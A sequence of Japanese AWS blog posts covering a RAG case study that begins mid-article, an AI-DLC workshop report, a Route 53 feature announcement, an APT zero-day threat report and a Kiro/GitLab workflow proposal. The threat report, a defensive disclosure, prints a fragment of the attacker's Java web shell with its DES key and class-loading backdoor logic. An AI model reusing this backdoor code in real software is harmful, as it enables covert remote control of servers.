片面印刷設定 ↓ 緑色のスタートボタンを押す </figure> **注1** 複合機とは、コピー、プリント、スキャン、FAXなどの機能を1台に統合した機器のことです。各機能は操作パネルから選択できます。 **注2** 原稿台は機器上部のガラス面です。原稿を下向きにセットし、サイズガイドに合わせて配置してください。 **注3** カラーコピーを行う場合は、操作パネルで「カラー」を選択します。モノクロより時間がかかります。 **注4** 拡大・縮小は25%～400%の範囲で設定できます。よく使う倍率（A4→A3など）はプリセットから選択可能です。 **注5** 集約コピーは、複数ページを1枚の用紙にまとめる機能です。2in1、4in1などが選択できます。 **注6** 仕上げ機能では、ホチキス止め、パンチ穴あけなどが自動で行えます。注7 オプション装置が必要な場合があります。 **注7** 仕上げ機能の詳細については、機器の取扱説明書を参照してください。 </markdown> このように、二段組テキストの統合、フローチャート図の構造化、注釈の対応付けが正確に行われ、検索時に適切なコンテキストを提供できる形式で抽出されています。 検索精度の最適化：ハイブリッドアーキテクチャ 同社が複数のデータソースで検証を行った結果、Embedding モデル（テキストをベクトル化して数値表現に変換し、意味的な類似性を計算できるようにするモデル）の違いによって検索精度が異なることが判明しました。特に、一部のデータソースでは、Amazon Bedrock Knowledge Bases で提供されているモデルよりも、オープンソースの Embedding モデルの方が高い検索精度を示しました。 そこで同社は、このオープンソースの Embedding モデルを活用するため、Amazon SageMaker AI を活用する方針としました。Amazon SageMaker AI は、独自のモデルをホスティングしてインフラを詳細に制御できる機械学習サービスで、Amazon Bedrock では提供されていないオープンソースモデルを柔軟に利用できます。 同社は、データソースの特性に応じて最適なアプローチを選択するハイブリッドアーキテクチャを構築しました。社内マニュアルのようなレイアウトが複雑なファイルを扱うデータソースについては、Amazon Bedrock Knowledge Bases を活用し、Foundation Model Parsing によるデータ抽出からベクトル化、データベース格納までをマネージドサービスで処理します。一方、オープンソースの Embedding モデルが高精度を示したデータソースについては、AWS Step Functions でデータ抽出、チャンキング、ベクトル化、データベース格納といったドキュメント登録処理のワークフローを構築し、ベクトル化には Amazon SageMaker AI でホストした Embedding モデルを活用する独自実装の RAG としました。このハイブリッドアーキテクチャにより、各データソースに最適化された高精度な検索を実現しています。 大量ドキュメントの高速登録：二段階の並列制御 独自実装の RAG では、ドキュメントの変更や追加時に、テキスト抽出、チャンキング、ベクトル化、データベース格納という一連の処理を実行します。数千から数万のファイルを高速に処理するため、同社は並列処理を活用していますが、単純に並列度を上げるだけでは ベクトル化を行う Amazon SageMaker AI エンドポイントの処理能力を超えてしまいます。 AWS Step Functions と Amazon SageMaker AI を組み合わせたデータ処理パイプラインを構築し、エンドポイントの処理能力を考慮した二段階の並列制御を実装しました。 定期的なバッチ処理で S3 バケットにファイルが配置されると、それをトリガーとして AWS Step Functions ステートマシンが起動され、ドキュメント登録処理が開始されます。複数のファイルが同時に配置された場合は複数のステートマシンが並列で起動されますが、Amazon DynamoDB を使用したロック機構により同時実行数を制御しています。 次に、各ステートマシン内では、Distributed Map を活用して 1 ファイル内の数百〜数千のチャンクを並列処理します。Amazon SageMaker AI エンドポイントのインスタンス数を増やすことで、より多くのチャンクを同時にベクトル化でき、処理時間を短縮できます。 この二段階の制御により、ファイル単位でのエラーハンドリングを維持しながら、チャンクレベルでは大規模な並列処理による高速化を実現しています。 ドキュメント登録処理の並列制御アーキテクチャ コスト最適化：用途別エンドポイントの使い分け ベクトル化処理において、検索時とドキュメント登録時では処理の特性が異なります。検索時はユーザーの質問をリアルタイムでベクトル化する必要があり、1 回あたりの処理データ量は少量ですが、常時稼働が求められます。一方、ドキュメント登録時は定期的なバッチ処理で数千〜数万のドキュメントを一括でベクトル化するため、大量のデータを処理する必要がありますが、常時稼働は不要です。 同社は、この特性の違いに応じて Amazon SageMaker AI のエンドポイントを 2 つに分けて運用しています。検索用エンドポイントは常時稼働が必要なため低コストな CPU インスタンスを採用し、ドキュメント登録用エンドポイントは高速処理のため GPU インスタンスを採用しつつ、処理がない時間帯はゼロスケーリングでコストを削減しています。この使い分けにより、高いパフォーマンスとコスト効率を両立しています。 お客様の評価と今後の展望 東京海上日動システムズ デジタルイノベーション本部 デジタルイノベーション開発部 佐田様からは以下のコメントをいただいています。 全社生成 AI プラットフォームの開発は、当社にとって非常にチャレンジングなプロジェクトでした。生成 AI をビジネスに効果的に活用していくために、大規模かつ高精度なナレッジ検索の機能は必要不可欠であると考えていますが、Amazon Bedrock Knowledge Bases をはじめとする AWS の各サービスおよびソリューションアーキテクトやサービス開発チームの皆様のサポートのおかげでこれを実現することができました。今後も、このプラットフォームを全社の生成 AI 基盤として拡大していき、金融業界における生成 AI 活用のリーディングケースを作っていきたいと考えています。 同社は今後、この全社生成 AI 実行基盤を AI エージェント実行基盤へと発展させていく方針です。Amazon Bedrock AgentCore などのサービスを活用し、多様なフレームワークやモデルを柔軟に組み合わせながら、AI エージェントを安全かつスケーラブルに運用できる環境の構築を目指しています。 まとめ 本事例を通じて、企業における生成 AI の本格展開に向けた重要な示唆が得られました。 生成 AI を全社に展開する際は、ガバナンス、スケーラビリティ、コスト効率を初期段階から考慮した基盤設計が重要です。マルチアカウント構成やゼロスケーリングなどの設計パターンにより、持続可能な運用が可能になります。 RAG システムの構築では、まず Amazon Bedrock Knowledge Bases で迅速に構築し、データソースの特性に応じて独自実装を追加する段階的なアプローチが有効です。マネージドサービスと独自実装を組み合わせることで、開発速度と柔軟性を両立できます。 また、RAG システムの性能は、ドキュメントの構造やデータソースの特性を深く理解することで大きく向上します。実際のデータで検証を行い、適材適所で技術を選択することが重要です。 同社が構築した全社生成 AI 実行基盤とその上で動作する RAG システムは、金融業界における生成 AI の本格展開のモデルケースとして、業界全体での活用促進に貢献することが期待されます。 著者 神部 洋介 (Yosuke Kambe) アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト 2022 年に AWS に入社。前職は SIer で主に金融機関向けの基幹系システムやデータ分析基盤の開発に従事。現在は、保険会社のお客様を中心にデータ活用や生成 AI 活用をはじめとした様々な技術支援を行っている。

はじめに 本稿は AWS と LIFULL 様の共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えするものです。 LIFULL 様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。 組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DLC Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。本ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えします。 AI-DLC の詳細については、 AI-DLC のホワイトペーパー と 日本語の解説ブログ をご覧ください。 これまでの課題 LIFULL 様ではすでに多くのメンバーが Coding Agent を活用していましたが、その活用は個人レベルにとどまっていました。各自が独自の方法論を編み出し、それぞれのやり方で生産性を高めていたものの、組織全体として最適化できているとは言えない状況でした。 さらに、個人の活用レベルにも大きなばらつきがありました。AI を使いこなして高い生産性を実現しているメンバーがいる一方で、どう活用すればよいか手探りのメンバーも存在し、チーム全体としての底上げが課題となっていました。 AI-DLC Unicorn Gym の開催 この課題に対して、AWS と LIFULL 様は開発手法に AI-DLC を採用する検証を行うことにしました。AI-DLC Unicorn Gym は、AI-DLC を 3 日間で体験するワークショップです。ただし、単なる体験型のトレーニングではありません。参加チームは実際にプロダクション環境に搭載予定の機能をテーマとして持ち込み、企画、エンジニア、デザイナーが一堂に会して、本番リリースを目指して開発に取り組みます。 LIFULL 様では 6 チーム、約 30 名のメンバーが参加し、それぞれが実際のビジネス課題に対して AI-DLC を実践しました。3 日間という限られた時間の中で、要件定義から設計、実装、テストまでを一気通貫で進め、AI-DLC の効果を体感しました。 AI-DLC Unicorn Gym の成果 3 日間の短期間で、全てのチームが何らかの成果を上げました。3 チームは MVP の実装まで完了させ、うち 1 チームは Production 環境へのデプロイが可能なレベルまで実装を完了させました。 生産性向上の観点では、想定開発期間の 3 倍以上の速度で開発でき、AI-DLC により劇的に開発期間を短縮することを確認しました。 対象システム 取り組み内容 参加者構成 進捗 想定開発期間 AI-DLC 想定開発期間 生産性向上率 AI エージェント 住まい探しに関わる AI エージェントの開発 企画部門（2 名）・技術部門（4名）（計 6 名） モックまで完成 後日一部ユニットは AI-DLC で実装したものをそのままリリース済み 3 ヶ月 1 ヶ月 300 % 問合せ体験改善 AI を活用した問合せ体験の最適化 企画部門（計 3 名）・技術部門（計 4 名） モックまで完成 モックを踏まえ、改めて詳細な仕様を再検討中 3 ヶ月 1 ヶ月 300 % クライアント・営業向けレポート 会員や営業が利用するレポート機能の新規開発 企画部門（1 名）・技術部門（3 名）（計 4 名） モックまで完成 既存システムに実装するか新規に構築するかの調整中 3 ヶ月 1 ヶ月 300 % バックオフィスフローの自動化 バックオフィスフローに対する自動化 企画部門・技術部門（計 4 名） 開発継続中、他施策の合間を見て進行させていく予定 3 ヶ月 1 ヶ月 300 % 住宅ローンシミュレーション機能追加 物件詳細に、その物件の「月々支払額」がわかるローンシュミレーター機能を追加する 企画部門・技術部門（計 5 名） 3 日で開発は完了、リリースは延期 2 ヶ月 3 日 1300 % システム土台の入れ替え EOL したサービスの新しい基盤への移行 技術部門（計 3 名） 技術調査まで完了し、1 つ目のサービスの移管作業途中まで 1 年 3 ヵ月 400 % AI-DLC Unicorn Gym からの学び AI-DLC Unicorn Gym を通じて多くの学びを得ました。参加者のフィードバックから AI-DLC の知見を共有します。 同期的なコラボレーションの重要性 AI-DLC の最大の特徴は、企画・デザイナー・エンジニアが同期的に作業を進めることです。従来の非同期なプロセスでは、企画がビジネス要件を詰めて開発に調査を依頼し、フィードバックを待つ必要がありました。AI-DLC ではその場で技術的な実現可能性を確認しながら要件を詰められるため、リードタイムが大幅に削減されました。 エンジニアからは「今までユーザーストーリーに携わることはなかったけど、機能要件だけで判断しないことが分かるようになったのが良かった」という声が上がっています。さらに、AI が議論の内容を自動的にドキュメント化してくれることで、チーム全員が同じ理解を持ち、後から参加したメンバーもすぐにキャッチアップできる状態が作られました。 こうしたコラボレーションとドキュメント化により、要件定義や設計の質が飛躍的に向上し、実装やテストが驚くほど速く進むようになりました。あるチームでは「設計に 2 日かけたことで、コーディング自体は 30 分ぐらいだった」と報告しています。 AI-DLC をさらに加速させるために必要なこと 3 日間の体験を通じて、AI-DLC をより効果的に回していくために必要なことも明確になりました。 最も多く挙がったのが、社内ドキュメントや設計書の整備です。「既存システムを AI に理解させるための情報がまとまっておらず、既存システムの仕様調査に時間がかかってしまいました」という指摘がありました。ドキュメント整備はレビュープロセスの効率化にも直結し、「ナレッジを蓄積することでやりとりを減らせれば効率化できる」という気づきも得られています。 また、AI-DLC の高速な開発サイクルでは、人間がボトルネックになりやすいという課題も浮かび上がりました。「仕様策定や開発が高速化したことで、仕様やデザインの承認がボトルネックになる」という指摘がありました。裁量を現場に委譲しプロダクトチームが独自に意思決定できるようにすることが、AI-DLC をスムーズに回すための重要なポイントとなります。 AI-DLC Unicorn Gym 実施後の変化 AI-DLC Unicorn Gym の体験は、LIFULL 様の開発プロセスに具体的な変化をもたらしました。 最も象徴的な変化は、職種を超えたコラボレーションの日常化です。プロダクトマネージャーとエンジニアが共同で作業するために毎日 3 時間を確保するようになり、要件定義段階から企画・デザイナー・エンジニアの 3 職種が集まって検討及び議論をする機会が増えました。モブワークの重要性や効率の良さに気づけたことで、エンジニア・非エンジニアが定期的に集まってモブワークをする機会も増えています。 開発プロセスにも変化が現れました。小さなタスクでも AI-DLC のやり方に沿って「プラン→レビュー→実行→レビュー」のサイクルを回す機会が増え、基盤チームでは新規開発案件を基本的に AI-DLC をベースに進めていくことを決定しました。インフラ・サーバー構築など裏側にも活用できることが分かり、適用範囲が広がっています。 ツールやワークフローの面でも進化が見られます。サービス企画職メンバーも企画書・仕様書などの上流ドキュメントをマークダウンで作成し、GitHub 上でドキュメントのレビューや管理を行うようになりました。デザイナーは Figma MCP サーバーを活用してコーディングした HTML/CSS を対象リポジトリへ適用するためのワークフロー検討を始めています。 特筆すべきは、新卒メンバーの成長速度です。通常は時間をかけてキャッチアップする必要のある 20 年もののシステムへの機能追加を、入社半年の新卒メンバーが 3 日でできるようになりました。AI-DLC は、経験の浅いメンバーでも高度な開発に参加できる環境を作り出しています。 まとめ AI-DLC Unicorn Gym を通じて、LIFULL 様は個人レベルの AI 活用から組織レベルの活用へと大きく前進しました。3 日間で想定開発期間の 3 倍以上の生産性向上を実現し、3 チームが MVP 実装まで完了させました。 より重要なのは数字に表れない変化です。企画・デザイナー・エンジニアが同期的にコラボレーションする文化が根付き、「プラン→レビュー→実行→レビュー」という AI-DLC のサイクルが日常の開発プロセスに組み込まれています。属人化していたノウハウが方法論として言語化され、新卒メンバーでも高度な開発に参加できるようになりました。 LIFULL 様の AI-DLC への取り組みは、ここからさらに加速していきます。今後は、この学びを社内全体に展開し、より多くのプロジェクトで AI-DLC を実践することで、組織全体の生産性をさらに向上させていきます。 著者 長友 健人 (Kento Nagatomo) アマゾンウェブサービスジャパン合同会社　ソリューションアーキテクト デジタルネイティブビジネスを展開されるお客様を中心に技術支援をしています。 磯野 圭輔 (Keisuke Isono) 株式会社LIFULL テクノロジー本部 事業基盤部 LIFULLのAWSクラウドインフラ全体の管理・運用チームのエンジニアリングマネージャー AWS CDKでコード化することで「誰にでもわかる」インフラを作ることに注力している。 また、Amazon Q Developerの導入を主導し、AI-DLCによるチームのさらなる開発生産性向上も模索中。 吉永祐太（Yoshinaga Yuta) 株式会社LIFULL　LIFULL HOME’S事業本部プロダクトエンジニアリング部 賃貸・売買などのマーケットを横断した施策を推進するグループのエンジニアリングマネージャー

2025 年 11 月 26 日、パブリック DNS レコードを管理するための Amazon Route 53 高速復旧について発表しました。これは、米国東部 (バージニア北部) AWS リージョン のサービス中断時に 60 分の目標復旧時間 (RTO) を実現するように設計された、新しいドメインネームサービス (DNS) 事業継続特徴量です。この強化により、お客様は地域的な障害時でも DNS の変更やインフラストラクチャのプロビジョニングを継続できるようになり、ミッションクリティカルなアプリケーションの予測可能性と耐障害性が向上します。 AWS では、事業継続性を必要とするアプリケーションを実行しているお客様から、事業継続要件と規制遵守義務を満たすために、追加の DNS レジリエンス機能が必要だとお伺いしてきました。AWS はグローバルインフラストラクチャ全体で優れた可用性を維持していますが、銀行、フィンテック、SaaS などの規制対象業界の組織は、予期しない地域的な混乱が発生した場合でも、必要に応じてスタンバイクラウドリソースを迅速にプロビジョニングしたり、トラフィックをリダイレクトしたりできるという安心感を求めています。 パブリック DNS レコードを管理するための高速復旧は、米国東部 (バージニア北部) リージョンのサービスが中断されてから 60 分以内にお客様が実行できる DNS 変更を対象とすることで、このニーズに応えます。この特徴量は既存の Route 53 セットアップとシームレスに連携し、フェイルオーバーシナリオ中に ChangeResourceRecordSets 、 GetChange 、 ListHostedZones 、 ListResourceRecordSets などの主要な Route 53 API 操作へのアクセスを提供します。お客様は、アプリケーションやスクリプトを変更することなく、既存の Route 53 API エンドポイントを引き続き使用できます。 試してみましょう 高速復旧を使用するように Route53 ホストゾーンを設定するのは簡単です。ここでは、構築中の新しいウェブサイト用に新しいホストゾーンを作成しています。 ホストゾーンを作成すると、 [高速復旧] というラベルの付いた新しいタブが表示されます。ここで、高速復旧はデフォルトで無効になっていることがわかります。 有効にするには、 [有効化] ボタンをクリックして、下のダイアログに示すとおり表示されるモーダルで選択を確認するだけです。 高速復旧の有効化が完了するまでに数分かかります。有効にすると、下のスクリーンショットのように緑色の [有効化済み] ステータスが表示されます。 高速復旧は、 AWS マネジメントコンソール の同じ領域からいつでも無効にできます。また、既に作成した既存のホストゾーンの高速復旧を有効化することもできます。 DNS 事業継続性の強化 高速復旧を有効化すると、お客様はサービスの中断時にいくつかの重要な機能を利用できます。この特徴量により、必要な Route 53 API 操作へのアクセスが維持されるため、引き続き最も必要なタイミングで DNS 管理をご利用いただけます。組織は、サービスの全面的な復旧を待つことなく、引き続き重要な DNS の変更、新しいインフラストラクチャのプロビジョニング、トラフィックフローのリダイレクトを行うことができます。 この実装は、シンプルさと信頼性を重視して設計されています。お客様が新しい API を習得したり、既存の自動化スクリプトを変更したりする必要はありません。同じ Route 53 エンドポイントと API コールは引き続き動作し、通常の操作とフェイルオーバーの両方のシナリオでシームレスなエクスペリエンスをご提供します。 今すぐご利用いただけます Amazon Route 53 パブリックホストゾーンの高速復旧をご利用いただけるようになりました。この特徴量は、AWS マネジメントコンソール、 AWS コマンドラインインターフェイス (AWS CLI) 、 AWS ソフトウェア開発キット (AWS SDK) 、または AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの Infrastructure as Code Tools から有効化できます。高速復旧を使用しても追加コストは発生しません。 高速復旧の詳細と使用方法については、 ドキュメント をご覧ください。 この新機能は、クラウドでミッションクリティカルなアプリケーションを構築して運用するために必要な DNS レジリエンスをお客様に提供するという AWS の継続的な取り組みの一環です。 原文は こちら です。

本ブログは 2025 年 11 月 12 日に公開された AWS Blog “ Amazon discovers APT exploiting Cisco and Citrix zero-days ” を翻訳したものです。 Amazon の脅威インテリジェンスチームは、高度な脅威アクターが Cisco Identity Service Engine (ISE) と Citrix システムにおける未公開のゼロデイ脆弱性を悪用していることを特定しました。この攻撃キャンペーンではカスタムマルウェアが使用され、複数の未公開脆弱性の悪用が確認されました。この発見は、脅威アクターが重要なアイデンティティとネットワークアクセス制御インフラストラクチャ (企業がセキュリティポリシーの実施とネットワーク全体の認証管理に依存しているシステム) を標的にしている傾向を示しています。 最初の発見 Amazon の MadPot ハニーポットサービスは、Citrix Bleed Two 脆弱性 (CVE-2025-5777) の公開前に、これを悪用するエクスプロイト試行を検出しました。これは、脅威アクターがこの脆弱性をゼロデイとして悪用していたことを示しています。Amazon の脅威インテリジェンスチームは、Citrix の脆弱性を悪用している脅威を深く調査しました。その結果、Cisco ISE の当時はドキュメント化されておらず、脆弱なデシリアライゼーション (逆シリアル化) ロジックを使用するエンドポイントを標的とする攻撃ペイロードを特定し、Cisco へ共有しました。この脆弱性は現在 CVE-2025-20337 として指定されており、脅威アクターは Cisco ISE に対して認証を経ずにリモートからコードを実行 (RCE) し、侵害されたシステムへの管理者レベルのアクセス権を取得することが可能になります。この発見で特に懸念されたのは、Cisco が CVE 番号を割り当てたり、Cisco ISE の影響を受けるすべてのバージョンに包括的なパッチをリリースしたりする前に、実際の環境でエクスプロイトが発生していたことです。この手法は「 パッチギャップ攻撃 」と呼ばれ、高度な攻撃グループの典型的な手口です。彼らはベンダーが公開するセキュリティ情報を常に監視し、パッチが全ユーザーに行き渡る前の空白期間を狙って攻撃を仕掛けます。 カスタム Web シェルのデプロイ エクスプロイトに成功した後、脅威アクターは IdentityAuditAction という名前の正規の Cisco ISE コンポーネントに偽装したカスタム Web シェルをデプロイしました。これは典型的な既製のマルウェアではなく、Cisco ISE 環境専用に設計されたカスタムビルドのバックドアでした。この Web シェルは高度な検出回避機能を備えていました。完全にインメモリで動作し、フォレンジックアーティファクト (痕跡) を最小限に抑え、Java リフレクションを使用して実行中のスレッドに自身を注入します。また、Tomcat サーバー全体のすべての HTTP リクエストを監視するリスナーとして登録され、非標準の Base64 エンコーディングを使用した DES 暗号化を実装し、特定の HTTP ヘッダーを正しく指定しなければアクセスできない仕組みでした。 以下は、攻撃者が自身の Web シェルにアクセスするための秘密の認証キーを検証するコードの一部です。 if (matcher find()) { requestBody = matcher group(1) replace("*", "a") replace("$", "l"); Cipher encodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); decodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); byte[] key = "d384922c" getBytes(); encodeCipher init(1, new SecretKeySpec(key, "DES")); decodeCipher init(2, new SecretKeySpec(key, "DES")); byte[] data = Base64 getDecoder() decode(requestBody); data = decodeCipher doFinal(data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); if (proxyClass == null) { proxyClass = this defineClass(data); } else { Object f = proxyClass newInstance(); f equals(arrOut); f equals(request); f equals(data); f toString(); } セキュリティへの影響 前述のとおり、Amazon の脅威インテリジェンスチームは、MadPot ハニーポットを通じて、脅威アクターが CVE-2025-20337 と CVE-2025-5777 の両方をゼロデイとして悪用し、調査時点でこれらの脆弱性を使用してインターネットを無差別に標的にしていたことを特定しました。この攻撃キャンペーンを通じて、ネットワークエッジの重要なエンタープライズインフラストラクチャを標的とする脅威アクターの進化する戦術が明らかになりました。脅威アクターのカスタムツールは、複数の技術レイヤーにわたる深い知識を示しました。エンタープライズ Java アプリケーションや Tomcat サーバーといった基盤技術から、Cisco Identity Service Engine 固有のアーキテクチャに至るまで、詳細に理解していたことが伺えます。複数の未公開ゼロデイエクスプロイトを使用していたことは、高度な脆弱性調査能力を持つ、または非公開の脆弱性情報源を持つ、潤沢なリソースを持つ脅威アクターであることを示しています。 セキュリティチームへの推奨事項 セキュリティチームにとって、これはアイデンティティ管理システムやリモートアクセスゲートウェイなどの重要なインフラストラクチャコンポーネントが、脅威アクターにとって依然として主要な標的であることを再認識させるものです。これらのエクスプロイトは認証なしに実行可能であるため、適切に設定され細心の注意を払って維持されているシステムでさえ影響を受ける可能性があります。したがって、包括的な多層防御戦略を実装し、異常な動作パターンを識別できる堅牢な検出機能を開発することが不可欠です。AWS は、ファイアウォールまたは多層アクセスを通じて、管理ポータルなどの特権セキュリティアプライアンスエンドポイントへのアクセスを制限することを推奨しています。 ベンダーリファレンス NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities この投稿に関するご質問やサポートについては、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ は Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼の使命は、セキュリティ対策を最も導入しやすい選択肢とすることで、Amazon のビジネスを支えることです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO、そして最近では AWS CISO など、さまざまな役割を担当した後、2023 年 9 月に Amazon Integrated Security の CISO になりました。 Amazon に入社する前、CJ は連邦捜査局 (FBI) のサイバー部門でコンピュータおよびネットワーク侵入対策の技術分析を統括していました。CJ は空軍特別捜査局 (AFOSI) の特別捜査官も務めました。CJ は、今日のセキュリティ業界の基礎と見なされているいくつかのコンピュータ侵入調査を主導しました。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America GT2 レースカーの現役ドライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本記事は Kiroweeeeeeek in Japan ( X: #kiroweeeeeeek ) の第 10 日目です。GitLab 合同会社 小松原様に寄稿いただきました。 はじめに：開発が速すぎる時代の新しい課題 Kiro の登場により、ソフトウェア開発は劇的に加速しました。チャットで要望を伝えるだけで、あっという間に仕様書が生成され、コードが書かれる。開発者にとっては夢のようなツールです。 しかし、この「速すぎる開発」は、特に日本の開発現場において新たな課題を生み出しています。 それは、発注元と開発会社の間に生まれるスピードギャップ です。 発注元の担当者はこう悩みます。「開発が速すぎて、レビューが追いつかない」「コードを見せられても、正直よくわからない」「品質は本当に大丈夫なのか？」 一方、開発会社側も苦しんでいます。「Kiro で速く作れるのに、レビュー待ちで開発が止まる」「後から『思っていたのと違う』と言われて大幅な手戻り」「非エンジニアへの技術説明に膨大な時間を取られる」 本記事では、GitLab Self-Hosted Model（Amazon Bedrock 活用）を組み合わせることで、この課題を解決する新しい開発パートナーシップモデルを提案します。 日本の開発現場の実態：発注元と開発会社の分離 日本のソフトウェア開発において、発注元と開発会社が分離しているケースは非常に一般的です。 発注元の立場： ビジネス要件は理解している しかし、プログラミングの経験はない コードレビューは実質的に不可能 「動くものを見て初めて理解できる」状態 開発会社の立場： 技術的な実装は得意 しかし、発注元の真のニーズを引き出すのは難しい 後段での仕様変更・手戻りに悩まされる レビュー待ちによる非効率な稼働 従来、この問題は「丁寧なコミュニケーション」「詳細な要件定義」「時間をかけたレビュー」で解決しようとしてきました。しかし、それでは Kiro の圧倒的なスピードを活かしきれません。 Kiro の強みと、それがもたらす新たな課題 Kiro の最大の特徴は、 いきなりコードを書くのではなく、まず仕様書を生成してくれる点 にあります。これは実は非常に重要な機能です。 しかし、現実にはこの仕様書レベルでの認識合わせが十分にできていません。 なぜなら： 仕様書が詳細すぎる ：技術的な詳細が多く、非エンジニアには理解しづらい 考慮漏れの発見が難しい ：発注元が「何が書かれていないか」を判断できない コード生成が速すぎる ：仕様書のレビューが終わらないうちに実装が進む 結果として、「実装完了後に初めて問題が発覚」→「大幅な手戻り」というパターンが頻発します。 「ソフトウェア工学の研究では、バグ修正コストは発見タイミングによって劇的に変わることが示されています。 一般的に： 要件定義段階：基準 コーディング段階：2〜5 倍 統合・テスト段階：5 〜 10 倍 本番環境：10 〜 30 倍以上 つまり、 早期に問題を発見することが、コスト削減の最大の鍵 なのです。 解決策：GitLab + Amazon Bedrock による「仕様書レベルの品質担保」 ここで登場するのが、GitLab Duo Self-Hosted（Amazon Bedrock 活用）です。 GitLab Duo Self-Hosted は、自社環境内にAI Gatewayを配置し、Amazon Bedrock を通じて Anthropic の Claude などの大規模言語モデルを利用できる仕組みです。重要なのは、データが自社ドメイン内に保持され、外部 API への依存なしに GitLab Duo 機能（コードレビュー、チャット、コード生成など）を活用できる点です。つまり、セキュリティ要件が厳しい企業でも、最新の AI 技術を安心して活用できます。 これを Kiro と組み合わせることで、以下のような新しいワークフローが実現します。 ステップ1：発注元が要望を下書き 発注元の担当者は、ラフな要望を GitLab のイシュー機能に書き込みます。技術的な詳細は不要です。「エアコンのリモートコントロール機能が欲しい」といった業務レベルの記述で十分です。 ステップ2：GitLab AI が要件を整形 GitLab 上の AI（Amazon Bedrock）が、この下書きを正式な要件仕様に整形してくれます。必要な技術要素、考慮すべきセキュリティ、エラーハンドリングなどを自動的に追加し、「プロが書いた要件定義書」に仕上げます。 ステップ3：Kiro が詳細仕様書を生成 開発会社のエンジニアは、このイシューを Kiro に渡します。Kiro は自社の技術スタックや開発標準を理解した上で、詳細な仕様書（Spec ファイル）を生成します。これを GitLab へ Commit & Push します。 ステップ4：GitLab AI が発注元目線でレビュー ここが最も重要なポイントです。発注元の担当者は、Kiro が生成した仕様書を直接レビューする必要はありません。代わりに、 GitLab AIに 質問します 。 「この仕様書に考慮漏れはありますか？」 「セキュリティ上の問題はありますか？」 「当初の要望と違う部分はありますか？」 GitLab AI は、以下のような観点で自動的にレビューを実施し、日本語でフィードバックします： セキュリティ関連 ：認証・認可の不備、通信暗号化の欠如など エラーハンドリング ：ネットワーク障害時の対応、エアコンが応答しない場合の処理など 機能面 ：現在室温の表示、操作履歴の記録、複数台のエアコン管理など 発注元の担当者は、これらの指摘を見て「確かに、それも必要だ」と気づくことができます。今までのやり方とは次元が違うレビューが可能になっていますよね。 ステップ5：Kiro が仕様を修正 GitLab AI の指摘を受けて、開発会社のエンジニアは Kiro に修正を依頼します。Kiro は数分で仕様書を更新し、コード生成へと進みます。 ステップ6：GitLab AI がコード品質もチェック 生成されたコードも、GitLab AI が自動的にレビューします。コーディング規約、脆弱性、パフォーマンス上の問題などを自動検出し、必要に応じて Kiro に修正を依頼できます。 経済合理性：なぜこのモデルが持続可能なのか このワークフローがもたらす経済的メリットを整理しましょう。 削減できるコスト レビュー待ち時間の削減 : 従来、発注元のレビューには数日から数週間かかることも珍しくありませんでした。その間、開発会社のエンジニアは次の作業に進めず、非効率な稼働となります。GitLab AIによる自動レビューで、この待ち時間を大幅に削減できます。 手戻りコストの削減 : 前述の通り、後段での修正は初期段階の5倍以上のコストがかかります。仕様書段階で問題を発見できれば、コーディング後やテスト後の大幅な手戻りを防げます。 コミュニケーションコストの削減 : エンジニアが非エンジニアに技術的な説明をする時間は、想像以上に大きなコストです。GitLab AIが「翻訳者」の役割を果たすことで、このコストを大幅に削減できます。 品質向上による保守コストの削減 : 早期段階でのAIレビューにより、セキュリティ問題や設計上の欠陥が減少します。これは、リリース後の保守・運用フェーズでのコスト削減にもつながります。 新時代のパートナーシップ：AI が繋ぐ信頼関係 このモデルが実現するのは、単なるコスト削減ではありません。 発注元と開発会社の新しい信頼関係 です。 発注元にとって ： コードを理解できなくても、品質を担保できる安心感 早期段階で「本当に欲しいもの」を確認できる 開発会社への的確なフィードバックが可能に 開発会社にとって ： レビュー待ちのストレスから解放 手戻りが減り、計画通りの開発が可能に 技術的な説明ではなく、本質的な開発に集中できる 両者にとって ： 仕様書レベルでの継続的な対話 早期の問題発見による「左シフト」の実現 スピード（Kiro）と品質（GitLab AI）の両立 まとめ：持続可能な開発パートナーシップへ AI 時代の開発は、単に「速く作る」だけでは不十分です。発注元と開発会社が、それぞれの強みを活かしながら協働できる仕組みが必要です。 Kiro が実現する圧倒的なスピードと、GitLab + Amazon Bedrock が実現する品質担保。この 2 つを組み合わせることで、両者が幸せになる持続可能な開発パートナーシップが実現します。 「速すぎて困る」という贅沢な悩みを、「速いからこそ品質も高められる」という新しい価値に転換する。それが、これからのソフトウェア開発のあるべき姿なのかもしれません。 著者 小松原 つかさ GitLab 合同会社 シニアパートナーソリューションアーキテクト 長きに渡るソフトウェア開発経験を持ち、データベース、セキュリティ、ビッグデータの領域での深い専門知識を持ちます。2022 年にGitLab に参加し、AI 駆動型開発ツールがもたらす新しい開発パラダイムの構築に取り組んでいます。

